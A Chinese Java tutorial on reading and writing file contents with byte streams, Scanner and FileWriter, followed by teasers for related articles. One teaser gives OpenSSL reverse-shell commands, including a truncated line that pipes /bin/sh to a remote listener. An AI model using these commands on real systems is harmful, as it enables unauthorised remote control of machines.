【编程必备知识】文件内容的读写

news2024/12/23 19:30:03

文章目录

  • 前言
  • 1. 数据流
  • 2. Java IO 流
  • 3. InputStream 概述
    • 3.1 FileInputStream 概述
      • 3.1.1 代码示例
    • 3.2 利用 Scanner 进行字符读取
  • 4. OutputStream 概述
    • 4.1 利用 OutputStreamWriter 进行字符写入
  • 总结


前言

书接上回, 本文继续讲解关于文件的知识, 上文讲了如何对文件系统进行操作, 本文则重点讲述如何对文件内容进行读写, 要讲到两个数据流, 字符流和字节流.

关注收藏, 开始学习吧🧐


1. 数据流

在这里插入图片描述
文件这里的内容本质上是来自于硬盘, 硬盘又是操作系统管理的. 使用某个编程语言操作文件, 本质上都是需要调用系统的 api.

虽然不同的编程语言, 操作文件的 api 有所差别, 但是基本步骤都是一样的, 文件内容的操作核心步骤简单来说, 其实就只有以下四点:

  1. 打开文件
  2. 读文件
  3. 写文件
  4. 关闭文件

2. Java IO 流

在 Java 中, IO 操作是依靠一系列类来完成的.

字节流

  • InputStream
  • OutputStream
  • 以操作字节为单位 (操作二进制文件)

字符流

  • Reader
  • Writer
  • 以操作字符为单位 (操作文本文件)

Java IO 流是一个比较庞大的体系, 涉及到非常多的类. 这些不同的类, 都有各自不同的特性. 但是总的来说, 使用方法都是类似的.

  • 调用构造方法, 打开文件.
  • close 方法, 关闭文件.
  • 如果衍生自 InputStream 或者 Reader, 就可以使用 read 方法来读数据.
  • 如果衍生自 OutputStream 或者 Writer, 就可以使用 write 方法来写数据.

3. InputStream 概述

成员方法

修饰符及返回值类型方法签名说明
intread()读取一个字节的数据,返回 -1 代表已经完全读完了
intread(byte[] b)最多读取 b.length 字节的数据到 b 中,返回实际读到的数量;-1 代表以及读完了
intread(byte[] b,int off, int len)最多读取 len - off 字节的数据到 b 中,放在从 off 开始,返回实际读到的数量;-1 代表以及读完了
voidclose()关闭字节流

说明
InputStream 只是一个抽象类,要使用还需要具体的实现类。关于 InputStream 的实现类有很多,基本可以认为不同的输入设备都可以对应一个 InputStream 类,我们现在只关心从文件中读取,所以使用 FileInputStream.

3.1 FileInputStream 概述

构造方法

签名说明
FileInputStream(File file)利用 File 构造文件输入流
FileInputStream(String name)利用文件路径构造文件输入流

3.1.1 代码示例

示例1

将文件完全读完的两种方式。相比较而言,后一种的 IO 次数更少,性能更好。

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class Test1 {
	// 需要先在项目目录下准备好一个 hello.txt 的文件,里面填充 "hellotest" 的内容
    public static void main(String[] args) throws IOException {
        try (InputStream inputStream = new FileInputStream("hello.txt")) {
            while (true) {
                int b = inputStream.read();
                if (b == -1) {
                    break;
                }

                System.out.printf("%c", b);
            }
        }
    }
}

采用 byte 数组来存储, 一次性读取 1024, 比前一种方法一个一个读效率更高.

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class Test1 {
        public static void main(String[] args) throws IOException {
        try (InputStream inputStream = new FileInputStream("./hello.txt")) {
            while (true) {
                byte[] buf = new byte[1024];
                int b = inputStream.read(buf);
                if (b == -1) {
                    break;
                }

                for (int i = 0; i < b; i++) {
                    System.out.printf("%c", buf[i]);
                }
            }
        }
    }
}

示例2

这里我们把文件内容中填充中文看看,注意,写中文的时候使用 UTF-8 编码. hello.txt 中填写 “你好中国”

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class Test2 {
    public static void main(String[] args) throws IOException {
        try (InputStream is = new FileInputStream("hello.txt")) {
            byte[] buf = new byte[1024];
            int len;
            while (true) {
                len = is.read(buf);
                if (len == -1) {
                    // 代表文件已经全部读完
                    break;
                }
                // 每次使用 3 字节进行 utf-8 解码,得到中文字符
                // 利用 String 中的构造方法完成
                // 这个方法了解下即可,不是通用的解决办法
                for (int i = 0; i < len; i += 3) {
                    String s = new String(buf, i, 3, "UTF-8");
                    System.out.printf("%s", s);
                }
            }
        }
    }
}

3.2 利用 Scanner 进行字符读取

上述例子中,我们看到了对字符类型直接使用 InputStream 进行读取是非常麻烦且困难的,所以,我们使用一种我们之前比较熟悉的类来完成该工作,就是 Scanner 类。

构造方法说明
Scanner(InputStream is, String charset)使用 charset 字符集进行 is 的扫描读取

示例1

import java.io.*;
import java.util.*;
// 需要先在项目目录下准备好一个 hello.txt 的文件,里面填充 "你好中国" 的内容
public class Test3 {
    public static void main(String[] args) throws IOException {
        try (InputStream is = new FileInputStream("hello.txt")) {
           try (Scanner scanner = new Scanner(is, "UTF-8")) {
               while (scanner.hasNext()) {
                   String s = scanner.next();
                   System.out.print(s);
               }
           }
       }
   }
}

4. OutputStream 概述

成员方法

修饰符及返回值类型方法签名说明
voidwrite(int b)写入要给字节的数据
voidwrite(byte[]b)将 b 这个字符数组中的数据全部写入 os 中
intwrite(byte[]b, int off,int len)将 b 这个字符数组中从 off 开始的数据写入 os 中,一共写 len 个
voidclose()关闭字节流
voidflush()我们知道 I/O 的速度是很慢的,所以,大多的 OutputStream 为了减少设备操作的次数,在写数据的时候都会将数据先暂时写入内存的一个指定区域里,直到该区域满了或者其他指定条件时才真正将数据写入设备中,这个区域一般称为缓冲区。但造成一个结果,就是我们写的数据,很可能会遗留一部分在缓冲区中。需要在最后或者合适的位置,调用 flush(刷新)操作,将数据刷到设备中。

说明

OutputStream 同样只是一个抽象类,要使用还需要具体的实现类。我们现在还是只关心写入文件中,所以使用 FileOutputStream。

4.1 利用 OutputStreamWriter 进行字符写入

示例1

public class Demo9 {
    public static void main(String[] args) throws IOException {
        try (Writer writer = new FileWriter("./test.txt", true)) {
            writer.write("hello world!");
        }
    }
}

注意, 在进行写入时, 默认是覆盖源文件内容, 如果在参数中加上 true, 则是在源文件内容后直接写入.


总结

✨ 本文主要讲述了如何对文件内容进行读写, 主要讲了字节流的两个类 InputStreamOutputStream, 字符流就不在这里仔细讲述了, 因为具体用法与字节流几乎一致, 只不过对处理的文件不同.
✨ 想了解更多知识, 请持续关注博主, 本人会不断更新学习记录, 跟随我一起不断学习.
✨ 感谢你们的耐心阅读, 博主本人也是一名学生, 也还有需要很多学习的东西. 写这篇文章是以本人所学内容为基础, 日后也会不断更新自己的学习记录, 我们一起努力进步, 变得优秀, 小小菜鸟, 也能有大大梦想, 关注我, 一起学习.

再次感谢你们的阅读, 你们的鼓励是我创作的最大动力!!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1084652.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

el-table合计行合并

效果如下 因为合计el-table的合并方法是不生效的,所以需要修改css下手 watch: {// 应急物资的合计合并planData: {immediate: true,handler() {setTimeout(() > {const tds document.querySelectorAll(".pro_table .el-table__footer-wrapper tr>td");tds[0]…

第二章 物理层 | 计算机网络(谢希仁 第八版)

文章目录 第二章 物理层2.1 物理层的基本概念2.2 数据通信的基础知识2.2.1 数据通信系统的模型2.2.2 有关信道的几个基本概念2.2.3 信道的极限容量 2.3 物理层下面的传输媒体2.3.1 导引型传输媒体2.3.2 非导引型传输媒体 2.4 信道复用技术2.4.1 频分复用、时分复用和统计时分复…

智能井盖传感器:数智赋能让城市管理更智慧

智能井盖传感器&#xff1a;数智赋能让城市管理更智慧 在城市化快速发展的今天&#xff0c;保护和增强城市基础设施生命线的需求至关重要。而井盖作为守护城市地下空间的安全门&#xff0c;其智能化管理与城市生命线安全工程建设息息相关。在这篇文章中将为大家详细介绍智能井…

2023年中国MarTech服务商行业发展规模及趋势分析:逐渐呈现出场景化、行业化、定制化[图]

不同赛道的市场集中度及商业模式不同&#xff0c;因此对应各细分场景的MarTech技术应用深度存在较大差异。整体来看&#xff0c;市场竞争情况激烈、产品迭代周期较快、用户互动频繁的行业在数据&策略场景、渠道运营&转化场景与客户流程&管理场景对技术的完善性及功…

漏洞复现--鸿运主动安全监控云平台任意文件下载

免责声明&#xff1a; **文章中涉及的漏洞均已修复&#xff0c;敏感信息均已做打码处理&#xff0c;文章仅做经验分享用途&#xff0c;切勿当真&#xff0c;未授权的攻击属于非法行为&#xff01;文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何…

想要查看员工与客户聊天记录和跟进情况,有什么工具推荐吗?

想要查看员工与客户聊天记录和每天新增客户&#xff0c;可以使用微信管理系统这个工具。 微信管理系统是一个能够同时登录多个微信&#xff0c;实现一个人管理多个微信的工具。它分为两大版块&#xff0c;一个是营销&#xff0c;一个是监管。 而监管是企业用于监管员工微信较多…

统一机器人描述格式——URDF

URDF&#xff08;Unified Robot Description Format&#xff0c;统一机器人描述格式&#xff09;是ROS中一个非常重要的机器人模型描述格式&#xff0c;ROS同时也提供URDF文件的C解析器&#xff0c;可以解析URDF文件中使用XML格式描述的机器人模型。 在使用URDF文件构建机器人模…

【算法|滑动窗口No.1】leetcode209. 长度最小的子数组

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【LeetCode】 &#x1f354;本专栏旨在提高自己算法能力的同时&#xff0c;记录一下自己的学习过程&#xff0c;希望…

基于SSM的医院住院管理系统的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

物业管理智慧小区活动报名小程序开发

小程序基于UniApp开发&#xff0c;用于智慧小区物业管理&#xff0c;核心功能为业主报修、业主活动报名、房产车位管理、物业费缴费管理、线上商城等功能。 小程序深度调研物业工作场景开发而出&#xff0c;可以有效提高物业费的收缴率和帮助物业节约成本提高运营效率和提升额…

nvm、node、npm解决问题过程记录

在Windows10如何降级Node.js版本&#xff1a;可以尝试将Node.js版本降级到一个较旧的版本&#xff0c;以查看问题是否得以解决。可以使用Node Version Manager (nvm) 来轻松切换Node.js版本&#xff0c;具体完整步骤&#xff1a; 首先&#xff0c;需要安装Node Version Manager…

力扣第236题 二叉树的最近公共祖先 c++ 递归和回溯 附注释和简短代码

题目 236. 二叉树的最近公共祖先 中等 相关标签 树 深度优先搜索 二叉树 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖先表示为一个节点 x&#xff0c…

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…

大中型机场基于效能的机场运行管理体系(PBAM)探讨

当前&#xff0c;国内诸多省市在推进大中型机场新建、改扩建过程中&#xff0c;特别注重运营能力的建设。在营机场为了提升整体管理能力&#xff0c;对标省市政府的数字化业务建设要求&#xff0c;也急需要梳理运营管理能力的实施思路。很多机场的建设&#xff0c;从建设态向运…

【LeetCode力扣】75 快速排序的子过程partition(荷兰国旗问题)

目录 1、题目介绍 2、解题思路 2.1、冒泡排序暴力破解 2.2、快速排序的子过程partition 2.2.1、详细过程描述 2.2.2、代码描述 1、题目介绍 原题链接&#xff1a;75. 颜色分类 - 力扣&#xff08;LeetCode&#xff09; 示例 1&#xff1a; 输入&#xff1a;nums [2,0,2…

名城优企游学:全球智能物联领军企业-海康威视的创新发展之道

海康威视在安防、智能物联领域耕耘行业二十余年&#xff0c;其在全球视频监控设备的市场份额连续蝉联全球第一&#xff0c;业务覆盖全球150多个国家和地区。 近日&#xff0c;纷享销客【名城优企系列游学】活动携手30企业家走进全球智能物联领军企业——海康威视。聆听行业标杆…

hutool实现文件上传与下载

<dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.16</version></dependency> 文件上传需要创建一个表 Autowiredprivate SysFileInfoMapper sysFileInfoMapper;Value("${ty.…

微信小程序底部tabBar不显示图标

现场还原 在设置微信小程序底部tabBar导航图标时&#xff0c;无论如何操作均无法显示在界面上 解决思路 问题1 图标类型 一开始以为不支持png类型&#xff0c;但查看官方API仅提示ICON尺寸大小 打开其他项目可以正常展示&#xff0c;排除图标类型问题 iconPath string 否 …

犯了这些错误吗?20%的Spring声明式事务可能有问题

今天&#xff0c;我来和你聊聊业务代码中与数据库事务相关的坑。 Spring针对Java Transaction API (JTA)、JDBC、Hibernate和Java Persistence API (JPA)等事务API&#xff0c;实现了一致的编程模型&#xff0c;而Spring的声明式事务功能更是提供了极其方便的事务配置方式&…

RSS和Atom文档怎么打开?RSS新闻阅读软件Reeder5功能特点介绍

一款Mac上最优秀的RSS阅读器 支持本地RSS和Feedbin、Feedly、NewsBlur、Feed Wrangler、FeedHQ 等在线订阅服务 多种风格&#xff0c;多种布局 / 支持 iCloud 同步 自动阅读器视图 / 仿生阅读 / 支持第三方服务 新增功能 新的仿生阅读模式 与iCloud同步的应用内读取后续服务 …